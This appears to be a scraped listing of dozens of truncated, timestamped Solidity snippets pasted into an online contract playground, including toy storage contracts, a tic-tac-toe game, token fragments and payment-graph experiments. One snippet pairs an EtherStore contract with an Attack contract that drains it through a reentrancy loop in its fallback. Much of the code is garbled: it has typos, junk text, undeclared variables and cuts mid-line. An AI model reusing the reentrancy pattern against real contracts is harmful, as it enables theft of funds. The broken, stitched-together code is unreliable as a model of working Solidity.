 * the Metadata extension, but not including the Enumerable extension, which is available separately as
 * {ERC721Enumerable}.
 */
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
    using Address for address;
    using Strings for uint256;

    // Token name
    string private _name;

    // Token symbol
    string private _symbol;

    // Mapping from token ID to owner address
    mapping(uint256 => address) private _owners;

    // Mapping owner address to token count
    mapping(address => uint256) private _balances;

    // Mapping from token ID to approved address
    mappi
Dec 13, 2021 23:45:25 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
}sdfgsdf
Dec 10, 2021 21:36:56 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity <0.9.0;
contract Swap is ERC20 {

}

contract ERC20 {
    using SafeMath for uint256;
    
    string  public name = "REE-Token";
    string  public symbol = "REE";
    uint256 public totalSupply = 0;
    uint8   public decimals = 18;

    event Transfer(
        address indexed _from,
        address indexed _to,
        uint256 _value
    );

    event Approval(
        address indexed _owner,
        address indexed _spender,
        uint256 _value
    );

    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    constructor() {
        balanceOf[msg.sender] = totalSupply;
    }

    function transfer(address _to, uint256 _value) public returns (bool success) {
        require(_to != address(0), "ERC20: transfer from the zero address");
        require(balanceOf[msg.sender] >= _value, "ERC20: transfer amount exceeds balance");
        
  
Dec 10, 2021 09:27:16 UTC
pragma solidity ^0.4.26;

contract TicTacToe {
  enum CellState { Clear, Owner, Player }
  enum NextMove { Owner, Player }

  struct Game {
    address owner;
    address player;
    NextMove nextMove;
    CellState[3][3] state;
  }

  uint256 private nextGameId = 0;
  mapping(uint256 => Game) private games;


  function createGame() public returns (uint256 gameId) {
    Game memory game;
    game.owner = msg.sender;

    gameId = nextGameId;
    nextGameId++;

    games[gameId] = game;
  }

  function acceptInvite(uint256 gameId) public returns (NextMove nextMove) {
    Game storage game = games[gameId];

    require(game.owner != address(0), "Game not found");
    require(game.player == address(0), "Game invite was already accepted");

    game.player = msg.sender;

    bytes32 draw = keccak256(abi.encodePacked(block.coinbase, game.owner, game.player));

    if (draw[0] >> 7 == 0x0)
      nextMove = NextMove.Player;
    else
      nextMove = NextMove.Owner;
      
    game.nextMove = nextMove;
  }

  functi
Dec 08, 2021 17:11:11 UTC
pragma solidity ^0.4.26;

contract TicTacToe {
  enum CellState { Clear, Owner, Player }
  enum NextMove { Owner, Player }

  struct Game {
    address owner;
    address player;
    NextMove nextMove;
    CellState[3][3] state;
  }

  uint256 private nextGameId = 0;
  mapping(uint256 => Game) private games;


  function createGame() public returns (uint256 gameId) {
    Game memory game;
    game.owner = msg.sender;

    gameId = nextGameId;
    nextGameId++;

    games[gameId] = game;
  }

  function acceptInvite(uint256 gameId) public returns (NextMove nextMove) {
    Game storage game = games[gameId];

    require(game.owner != address(0), "Game not found");
    require(game.player == address(0), "Game invite was already accepted");

    game.player = msg.sender;

    bytes32 draw = keccak256(abi.encodePacked(block.coinbase, game.owner, game.player));

    if (draw[0] >> 7 == 0x0)
      nextMove = NextMove.Player;
    else
      nextMove = NextMove.Owner;
      
    game.nextMove = nextMove;
  }

  functi
Dec 08, 2021 17:09:04 UTC
pragma solidity ^0.4.26;

contract TicTacToe {
  enum CellState { Clear, Owner, Player }
  enum NextMove { Owner, Player }

  struct Game {
    address owner;
    address player;
    NextMove nextMove;
    CellState[3][3] state;
  }

  uint256 private nextGameId = 0;
  mapping(uint256 => Game) private games;


  function createGame() public returns (uint256 gameId) {
    Game memory game;
    game.owner = msg.sender;

    gameId = nextGameId;
    nextGameId++;

    games[gameId] = game;
  }

  function acceptInvite(uint256 gameId) public returns (NextMove nextMove) {
    Game storage game = games[gameId];

    require(game.owner != address(0), "Game not found");
    require(game.player == address(0), "Game invite was already accepted");

    game.player = msg.sender;

    bytes32 draw = keccak256(abi.encodePacked(block.coinbase, game.owner, game.player));

    if (draw[0] >> 7 == 0x0)
      nextMove = NextMove.Player;
    else
      nextMove = NextMove.Owner;
      
    game.nextMove = nextMove;
  }

Dec 08, 2021 16:44:33 UTC
pragma solidity ^0.4.26;

contract TicTacToe {
  enum CellState { Clear, Owner, Player }
  enum NextMove { Owner, Player }

  struct Game {
    address owner;
    address player;
    NextMove nextMove;
    CellState[3][3] state;
  }

  uint256 private nextGameId = 0;
  mapping(uint256 => Game) private games;


  function createGame() public returns (uint256 gameId) {
    Game memory game;
    game.owner = msg.sender;

    gameId = nextGameId;
    nextGameId++;

    games[gameId] = game;
  }

  function acceptInvite(uint256 gameId) public returns (NextMove nextMove) {
    Game storage game = games[gameId];

    require(game.owner != address(0), "Game not found");
    require(game.player == address(0), "Game invite was already accepted");

    game.player = msg.sender;

    bytes32 draw = keccak256(abi.encodePacked(block.coinbase, game.owner, game.player));

    if (draw[0] >> 7 == 0x0)
      nextMove = NextMove.Owner;
    else
      nextMove = NextMove.Player;
      
    game.nextMove = nextMove;
  }

Dec 08, 2021 16:42:55 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract TicTacToe {
  enum CellState { Clear, Owner, Player }
  enum NextMove { Owner, Player }


  struct Game {
    address owner;
    address player;
    NextMove nextMove;
    CellState[3][3] state;
  }

  uint256 private nextGameId = 0;
  mapping(uint256 => Game) private games;


  function createGame() public returns (uint256 gameId) {
    Game memory game;
    game.owner = msg.sender;

    gameId = nextGameId;
    nextGameId++;

    games[gameId] = game;
  }

  function acceptInvite(uint256 gameId) public returns (NextMove nextMove) {
    game = games[gameId];

    

    games[gameId] = game;

    nextMove = NextMove.Owner;
  }

Dec 08, 2021 15:59:22 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract TicTacToe {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Dec 07, 2021 22:30:29 UTC
// SPDX-License-Identifier: Vk
pragma solidity ^0.7.1;
contract Deal {
Product[] public product_P;
uint256 public createTime;
uint256 public deadline;
struct Product{
    uint256 _Id;
    string _URL;
    address _Owner;
    int _price;
  
}
uint256 public tokenCounter;
constructor () {
    tokenCounter=0;
    
    deadline=200;
    createTime=block.timestamp;
}

function createcollection(string memory _URL,int price) public returns(uint256){
    product_P.push(Product(tokenCounter,_URL,msg.sender,price));
    tokenCounter=tokenCounter+1;
    return tokenCounter;
}

function Buy(uint256 Id,int price) public view returns(string memory){
    if(price>product_P[Id]._price && block.timestamp>=createTime+deadline ){
       
        return "successfully Buy";
    }
    return "Some error";
}


function detail(uint256 Id) public view returns(string memory){
    return product_P[Id]._URL;
}


Dec 07, 2021 16:40:15 UTC
// SPDX-License-Identifier: Vk
pragma solidity ^0.7.1;
contract Deal {
Product[] public product_P;
uint256 public createTime;
uint256 public deadline;
struct Product{
    uint256 _Id;
    string _URL;
    address _Owner;
    int _price;
  
}
uint256 public tokenCounter;
constructor () {
    tokenCounter=0;
    
    deadline=200;
    createTime=block.timestamp;
}

function createcollection(string memory _URL,int price) public returns(uint256){
    product_P.push(Product(tokenCounter,_URL,msg.sender,price));
    tokenCounter=tokenCounter+1;
    return tokenCounter;
}

function Buy(uint256 Id,int price) public view returns(string memory){
    if(price>product_P[Id]._price && block.timestamp>=createTime+deadline ){
       
        return "successfully Buy";
    }
    return "Some error";
}


function detail(uint256 Id) public view returns(string memory){
    return product_P[Id]._URL;
}


Dec 06, 2021 17:56:45 UTC
// Logic for token transaction flow
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Dec 05, 2021 20:46:13 UTC
pragma solidity ^0.7.0;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

contract SmartFaucet {

  mapping (address => bool) public beneficiaries;
  address owner; // owner can change the claim amount, within certain limits
  uint claimAmount = 1_000_000_000;
  IERC20 token;

  constructor(address _token){
    owner = msg.sender;
    token = IERC20(_token);
  }

  function claim() public{
    require(to
Dec 03, 2021 19:05:39 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
   function get() public pure returns(string memory){
        return 'Hello World';
    }
Dec 03, 2021 09:55:23 UTC
pragma solidity ^0.4.18;
contract EtherStore {
  mapping(address => uint) public balances;
  function deposit() public payable{
    balances[msg.sender] += msg.value;
  }
  function getBalance() public view returns (uint){
    return address(this).balance;
  }
  function withdraw() public{
    uint bal = balances[msg.sender];
    require (bal>0);
    (bool sent, ) = msg.sender.call{value:ball}("");
    require(sent,"Failed to send Ether");
    balances[msg.sender]=0;
  }
}

contract Attack{
  EtherStore public etherStore;

  constructor (address _etherStoreAddress){
    etherStore = EtherStore(_etherStoreAddress);
  }

  fallback() eternal payable{
    if(address(etherStore).balance >= 1 ether){
      etherStore.withdraw();
    }
  }

  function attack() ethernal payable{
    require(msg.value >= 1 ether);
    etherStore.deposit{value: 1 ether}();
    etherStore.withdraw();
  }
  function getBalance() public view returns (uint){
    return address(this).balance;
  }
Nov 26, 2021 18:26:02 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Nov 25, 2021 04:09:35 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }
  

  function get() public constant returns (uint) {
    return value;
  }

  Hehhheeheee nönnnönöööö asdasdasdasd

  uint value;
Nov 23, 2021 14:19:33 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  Hehhheeheee nönnnönöööö asdasdasdasd

  uint value;
Nov 23, 2021 14:19:19 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  Hehhheeheee nönnnönöööö asdasdasdasd

  uint value;
Nov 23, 2021 14:18:57 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  Hehhheeheee nönnnönöööö

  uint value;
Nov 23, 2021 14:17:58 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.26;

contract Sorter {
    uint public totalUsers;
    // userID -> index
    mapping (uint => uint) public userMap;
    // string[][2] public userDetails;
    int[100][100][2] public adjMatrix;
    uint public passedTxnsCnt;
    uint public test;
    uint public testTotal;
    uint[] public path;

    constructor() public {
      // loopVar = initVal*50;
      totalUsers = 0;
      passedTxnsCnt = 0;
      // for (uint i = 0; i < 100; i++){
      //   for (uint j=0; j<100; j++){
      //     adjMatrix[0][j][i] = -1;
      //     adjMatrix[1][j][i] = -1;
      //     adjMatrix[0][i][j] = -1;
      //     adjMatrix[1][i][j] = -1;
      //   }
      // }
    }

    // function runLoop() view public{
    // 	uint a=0;
	  //   for (uint i = 0; i < loopVar; i++) 
	  //   { 
	  //       a++;
	  //   } 
    // }

    function registerUser(uint userID, string userName) public{
      // userDetails[totalUsers][
Nov 20, 2021 17:35:59 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.26;

contract Sorter {
    uint public totalUsers;
    // userID -> index
    mapping (uint => uint) public userMap;
    // string[][2] public userDetails;
    int[100][100][2] public adjMatrix;
    uint public passedTxnsCnt;
    uint public test;
    uint[] public path;

    constructor() public {
      // loopVar = initVal*50;
      totalUsers = 0;
      passedTxnsCnt = 0;
      // for (uint i = 0; i < 100; i++){
      //   for (uint j=0; j<100; j++){
      //     adjMatrix[0][j][i] = -1;
      //     adjMatrix[1][j][i] = -1;
      //     adjMatrix[0][i][j] = -1;
      //     adjMatrix[1][i][j] = -1;
      //   }
      // }
    }

    // function runLoop() view public{
    // 	uint a=0;
	  //   for (uint i = 0; i < loopVar; i++) 
	  //   { 
	  //       a++;
	  //   } 
    // }

    function registerUser(uint userID, string userName) public{
      // userDetails[totalUsers][0] = string(userID);
      
Nov 20, 2021 16:55:22 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.26;

contract Sorter {
    uint public totalUsers;
    // userID -> index
    mapping (uint => uint) public userMap;
    // string[][2] public userDetails;
    int[100][100][2] public adjMatrix;
    uint public passedTxnsCnt;
    uint public test;

    constructor() public {
      // loopVar = initVal*50;
      totalUsers = 0;
      passedTxnsCnt = 0;
      // for (uint i = 0; i < 100; i++){
      //   for (uint j=0; j<100; j++){
      //     adjMatrix[0][j][i] = -1;
      //     adjMatrix[1][j][i] = -1;
      //     adjMatrix[0][i][j] = -1;
      //     adjMatrix[1][i][j] = -1;
      //   }
      // }
    }

    // function runLoop() view public{
    // 	uint a=0;
	  //   for (uint i = 0; i < loopVar; i++) 
	  //   { 
	  //       a++;
	  //   } 
    // }

    function registerUser(uint userID, string userName) public{
      // userDetails[totalUsers][0] = string(userID);
      // userDetails[totalUser
Nov 20, 2021 14:32:28 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }


  uint[] users;
  uint num_users=0;
  mapping (uint => string) usernames;
  mapping (uint => uint[3][]) account; 


  function registerUser(uint use_id, string user_name) public{
    users.push(use_id);
    num_users+=1;
    parent.push(-1);
    dist.push(-1);
    usernames[use_id]=user_name;
  }

  function createAcc(uint user_id1, uint user_id2, uint contri1, uint contri2) public{
    account[user_id1].push([contri1, user_id2, contri2]);
    account[user_id2].push([contri2, user_id1, contri1]);

  }

  function getRandom() public constant returns (uint) {
    return value;
  }

  function getAccount(uint user_id) public constant returns (uint[3][]){
    return account[user_id];
  }

  function getPath() public constant returns (uint[]) {
    return path;
  }

  function getTxnState() public constant returns (boo
Nov 20, 2021 14:04:14 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.26;

contract Sorter {
    uint public totalUsers;
    // userID -> index
    mapping (uint => uint) public userMap;
    // string[][2] public userDetails;
    int[100][100][2] public adjMatrix;
    uint passedTxnsCnt;

    constructor() public {
        // loopVar = initVal*50;
        totalUsers = 0;
        passedTxnsCnt = 0;
    }

    // function runLoop() view public{
    // 	uint a=0;
	  //   for (uint i = 0; i < loopVar; i++) 
	  //   { 
	  //       a++;
	  //   } 
    // }

    function registerUser(uint userID, string userName) public{
      // userDetails[totalUsers][0] = string(userID);
      // userDetails[totalUsers][0] = userName;
      userMap[userID] = totalUsers;
      for (uint i = 0; i < totalUsers; i++){
          adjMatrix[totalUsers][i][0] = -1;
          adjMatrix[totalUsers][i][1] = -1;
          adjMatrix[i][totalUsers][0] = -1;
          adjMatrix[i][totalUsers][1] = -1;
    
Nov 20, 2021 13:17:27 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.24;

contract Sorter {
    uint public totalUsers;
    // userID -> index
    mapping (uint => uint) public userMap;
    // string[][2] public userDetails;
    int[][][2] public adjMatrix;
    uint passedTxnsCnt;

    constructor() public {
        // loopVar = initVal*50;
        totalUsers = 0;
        passedTxnsCnt = 0;
    }

    // function runLoop() view public{
    // 	uint a=0;
	  //   for (uint i = 0; i < loopVar; i++) 
	  //   { 
	  //       a++;
	  //   } 
    // }

    function registerUser(uint userID, string userName) public{
      // userDetails[totalUsers][0] = string(userID);
      // userDetails[totalUsers][0] = userName;
      userMap[userID] = totalUsers;
      for (uint i = 0; i < totalUsers; i++){
          adjMatrix[totalUsers][i][0] = -1;
          adjMatrix[totalUsers][i][1] = -1;
          adjMatrix[i][totalUsers][0] = -1;
          adjMatrix[i][totalUsers][1] = -1;
      }
  
Nov 20, 2021 11:42:31 UTC
pragma solidity ^0.4.24;

contract PCL{


    //mapping(uint256 => uint) queue;
    // uint256 first = 1;
    // uint256 last = 0;

    // function enqueue(uint data) public {
    //     last += 1;
    //     queue[last] = data;
    // }

    // function dequeue() public returns (uint data) {
    //     require(last >= first);  // non-empty queue

    //     data = queue[first];

    //     delete queue[first];
    //     first += 1;
    // }
    
    struct User {
        uint id;
        string name;
    }
    
    
    struct JointAcc
    {
        uint  id;
        uint  coin1;
        uint coin2;
    }
    mapping (uint => JointAcc[]) public joint_acc;
    mapping (uint => User) public user_map;
    // mapping (uint => JointAcc) public joint_acc;
    constructor() public{

   }

    function registerUser(uint user_id, string uname) public {
        User memory new_user = User(user_id, uname);
        user_map[user_id] = new_user;
    }
    
    function getuser(uint user_id) public view returns(string){
Nov 20, 2021 11:13:20 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.24;

contract Sorter {
    uint public totalUsers = 0;
    // userID -> index
    mapping (uint => uint) public userMap;
    string[][2] public userDetails;
    int[][][2] public adjMatrix;

    // constructor(uint initVal) public {
    //     // loopVar = initVal*50;
    //     totalUsers = 0;
    // }

    // function runLoop() view public{
    // 	uint a=0;
	  //   for (uint i = 0; i < loopVar; i++) 
	  //   { 
	  //       a++;
	  //   } 
    // }

    function registerUser(uint userID, string userName) view public{
      // userDetails[totalUsers][0] = string(userID);
      // userDetails[totalUsers][0] = userName;
      userMap[userID] = totalUsers;
      for (uint i = 0; i < totalUsers; i++){
          adjMatrix[totalUsers][i][0] = -1;
          adjMatrix[totalUsers][i][1] = -1;
          adjMatrix[i][totalUsers][0] = -1;
          adjMatrix[i][totalUsers][1] = -1;
      }
      totalUsers += 1;
Nov 20, 2021 10:40:41 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.24;

contract Sorter {
    uint public totalUsers = 0;
    // userID -> index
    mapping (uint => uint) public userMap;
    string[][2] public userDetails;
    int[][][2] public adjMatrix;

    // constructor(uint initVal) public {
    //     // loopVar = initVal*50;
    //     totalUsers = 0;
    // }

    // function runLoop() view public{
    // 	uint a=0;
	  //   for (uint i = 0; i < loopVar; i++) 
	  //   { 
	  //       a++;
	  //   } 
    // }

    function registerUser(uint userID, string userName) view public{
      // userDetails[totalUsers][0] = string(userID);
      // userDetails[totalUsers][0] = userName;
      userMap[userID] = totalUsers;
      for (uint i = 0; i < totalUsers; i++){
          adjMatrix[totalUsers][i][0] = -1;
          adjMatrix[totalUsers][i][1] = -1;
          adjMatrix[i][totalUsers][0] = -1;
          adjMatrix[i][totalUsers][1] = -1;
      }
      totalUsers += 1;
Nov 20, 2021 10:38:49 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.24;

contract Sorter {
    uint public totalUsers = 0;
    mapping (uint => uint) public userMap;
    string[][2] public userDetails;
    int[][][2] public adjMatrix;

    // constructor(uint initVal) public {
    //     // loopVar = initVal*50;
    //     totalUsers = 0;
    // }

    // function runLoop() view public{
    // 	uint a=0;
	  //   for (uint i = 0; i < loopVar; i++) 
	  //   { 
	  //       a++;
	  //   } 
    // }

    function registerUser(uint userID, string userName) view public{
      // userDetails[totalUsers][0] = string(userID);
      // userDetails[totalUsers][0] = userName;
      userMap[userID] = totalUsers;
      for (uint i = 0; i < totalUsers; i++){
          adjMatrix[totalUsers][i][0] = -1;
          adjMatrix[totalUsers][i][1] = -1;
          adjMatrix[i][totalUsers][0] = -1;
          adjMatrix[i][totalUsers][1] = -1;
      }
      totalUsers += 1;
    }

    function cre
Nov 20, 2021 09:51:49 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.24;

contract Sorter {
    uint public totalUsers = 0;
    mapping (uint => uint) public userMap;
    string[][2] public userDetails;
    uint[][][2] public adjMatrix;

    constructor(uint initVal) public {
        // loopVar = initVal*50;
        totalUsers = 0;
    }

    function runLoop() view public{
    	uint a=0;
	    for (uint i = 0; i < loopVar; i++) 
	    { 
	        a++;
	    } 
    }

    function registerUser(uint userID, string userName) view public{
      // userDetails[totalUsers][0] = string(userID);
      // userDetails[totalUsers][0] = userName;
      userMap[userID] = totalUsers;
      adjMatrix[totalUsers][] = [-1, -1];
      adjMatrix[][totalUsers] = [-1, -1];
      totalUsers += 1;
    }

    function createAcc(uint userID1, uint userID2) view public{
      uint x = exponentialsample 
      adjMatrix[ userMap[userID1], userMap[userID2] ] = [x/2, x/2];
    }

    function sendAmo
Nov 20, 2021 08:14:58 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.24;

contract SimpleStore {
  function set(uint _value) public {
    value = _value;
    int [2][3] adjlist;

  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Nov 20, 2021 07:23:12 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity >=0.4.18;
contract DAPP {

  struct User {
    uint user_id;
    string user_name;
    uint[] connections;
    uint available_balance;
  }

  struct Link {
    uint bal;
  }


  mapping (uint => User) users;
  mapping (uint => mapping(uint => Link)) links;
  uint[] public UserIDs;
  
  function registerUser(uint user_id, string user_name, uint balance) public {
    User storage newUser = users[user_id];
    newUser.user_id = user_id;
    newUser.user_name = user_name;
    newUser.available_balance = balance;
    UserIDs.push(user_id);
  }

  function createAcc(uint user_id1 ,uint user_id2, uint bal1, uint bal2) public {
    if (bal1 <= users[user_id1].available_balance && bal2 <= users[user_id1].available_balance){
      users[user_id1].available_balance -= bal1;
      users[user_id2].available_balance -= bal2;
      users[user_id1].connections.push(user_id2);
      links[user_id1][user_id2].bal = bal1;
   
Nov 20, 2021 06:14:34 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract DAPP {

  struct User {
    uint user_id;
    string user_name;
    uint[] connections;
    uint available_balance;
  }

  struct Link {
    uint uid1;
    uint uid2;
    uint bal1;
    uint bal2;
  }

  

  mapping (uint => User) users;
  mapping (uint => mapping(uint => Link)) links;
  uint[] public UserIDs;
  
  function registerUser(uint user_id, string user_name) public {
    User storage newUser = users[user_id];
    newUser.user_id = user_id;
    newUser.user_name = user_name;
    UserIDs.push(user_id);
  }

  function createAcc(uint user_id1 ,uint user_id2, uint bal1, uint bal2) public {
    if (bal1 <= users[user_id1].available_balance && bal2 <= users[user_id1].available_balance){
      users[user_id1].available_balance -= bal1;
      users[user_id2].available_balance -= bal2;
      users[user_id1].connections.push(user_id2);
      users[user_id2].connections.push(user_id1);
    
Nov 20, 2021 05:34:03 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint[] users;
  uint num_users=0;
  mapping (uint => string) usernames;
  mapping (uint => uint[3][]) account; 


  function registerUser(uint use_id, string user_name) public{
    users.push(use_id);
    num_users+=1;
    parent.push(-1);
    dist.push(-1);
    usernames[use_id]=user_name;
  }

  function createAcc(uint user_id1, uint user_id2, uint contri1, uint contri2) public{
    account[user_id1].push([contri1, user_id2, contri2]);
    account[user_id2].push([contri2, user_id1, contri1]);

  }

  function getAccount(uint user_id) public constant returns (uint[3][]){
    return account[user_id];
  }

  function getPath() public constant returns (uint[]) {
    return path;
  }

  function getTxnState() public constant returns (bool) {
  
Nov 19, 2021 20:06:19 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint[] users;
  uint num_users=0;
  mapping (uint => string) usernames;
  mapping (uint => uint[3][]) account; 


  function registerUser(uint use_id, string user_name) public{
    users.push(use_id);
    num_users+=1;
    parent.push(-1);
    dist.push(-1);
    usernames[use_id]=user_name;
  }

  function createAcc(uint user_id1, uint user_id2, uint contri1, uint contri2) public{
    account[user_id1].push([contri1, user_id2, contri2]);
    account[user_id2].push([contri2, user_id1, contri1]);

  }

  function getPath() public constant returns (uint[]) {
    return path;
  }

  function getTxnState() public constant returns (bool) {
    return txn_success;
  }

  function sendAmount(uint source, uint destination, uint amount) public{
    
 
Nov 19, 2021 19:25:41 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.25;
contract SimpleStore {
  mapping(string => uint) internal userMapping;

  struct Edge{
    uint user_id;
    uint amount;
  }

  //mapping(uint => Edge[]) internal edgeMapping;
  mapping(uint => uint[]) internal edgeMapping;
  mapping(uint => mapping(uint => uint)) amountMapping;

  constructor() public{

  }

  function registerUser(uint user_id, string user_name) public{
    userMapping[user_name]=user_id;
  }

  function createAcc(uint user_id_1, uint user_id_2, uint amount) public{
    //Edge memory e1;
    //e1.user_id=user_id_2;
    //e1.amount=amount/2;

    //Edge memory e2;
    //e2.user_id=user_id_1;
    //e2.amount=amount/2;

    //edgeMapping[user_id_1].push(e1);
    //edgeMapping[user_id_2].push(e2);

    edgeMapping[user_id_1].push(user_id_2);
    amountMapping[user_id_1][user_id_2] = amount/2;

    edgeMapping[user_id_2].push(user_id_1);
    amountMapping[user_id_2][user_id_1] = amou
Nov 19, 2021 18:06:51 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint[] users;
  uint num_users=0;
  mapping (uint => string) usernames;
  mapping (uint => uint[3][]) account; 


  function registerUser(uint use_id, string user_name) public{
    users.push(use_id);
    num_users+=1;
    parent.push(-1);
    dist.push(-1);
    usernames[use_id]=user_name;
  }

  function createAcc(uint user_id1, uint user_id2, uint contri1, uint contri2) public{
    account[user_id1].push([contri1, user_id2, contri2]);
    account[user_id2].push([contri2, user_id1, contri1]);

  }

  function getPath() public constant returns (uint[]) {
    return path;
  }

  function getTxnState() public constant returns (bool) {
    return txn_success;
  }

  function sendAmount(uint source, uint destination, uint amount) public{
    
 
Nov 19, 2021 11:50:54 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint[] users;
  uint num_users=0;
  mapping (uint => string) usernames;
  mapping (uint => uint[3][]) account; 


  function registerUser(uint use_id, string user_name) public{
    users.push(use_id);
    num_users+=1;
    parent.push(-1);
    dist.push(-1);
    usernames[use_id]=user_name;
  }

  function createAcc(uint user_id1, uint user_id2, uint contri1, uint contri2) public{
    account[user_id1].push([contri1, user_id2, contri2]);
    account[user_id2].push([contri2, user_id1, contri1]);

  }

  function getPath() public constant returns (uint[]) {
    return path;
  }

  function getTxnState() public constant returns (bool) {
    return txn_success;
  }

  function sendAmount(uint source, uint destination, uint amount) public{
    
 
Nov 19, 2021 11:25:28 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint[] users;
  uint num_users=0;
  mapping (uint => string) usernames;
  mapping (uint => uint[3][]) account; 


  function registerUser(uint use_id, string user_name) public{
    users.push(use_id);
    num_users+=1;
    parent.push(-1);
    dist.push(-1);
    usernames[use_id]=user_name;
  }

  function createAcc(uint user_id1, uint user_id2, uint contri1, uint contri2) public{
    account[user_id1].push([contri1, user_id2, contri2]);
    account[user_id2].push([contri2, user_id1, contri1]);

  }

  function getPath() public constant returns (uint[]) {
    return path;
  }

  function sendAmount(uint source, uint destination, uint amount) public returns (bool){
    
    if (destination==source){
        return true;
    }

    for(uint i=
Nov 19, 2021 11:15:07 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint[] users;
  uint num_users=0;
  mapping (uint => string) usernames;
  mapping (uint => uint[3][]) account; 


  function registerUser(uint use_id, string user_name) public{
    users.push(use_id);
    num_users+=1;
    parent.push(-1);
    dist.push(-1);
    usernames[use_id]=user_name;
  }

  function createAcc(uint user_id1, uint user_id2, uint contri1, uint contri2) public{
    account[user_id1].push([contri1, user_id2, contri2]);
    account[user_id2].push([contri2, user_id1, contri1]);

  }

  function getPath() public constant returns (uint[]) {
    return path;
  }

  function shortestPath(uint source, uint destination, uint amount) public{
    // if(dist.length==num_users){
    //   path.push(9);
    // }
    for(uint i=0;i<num_u
Nov 19, 2021 10:08:35 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.25;

contract deCent{
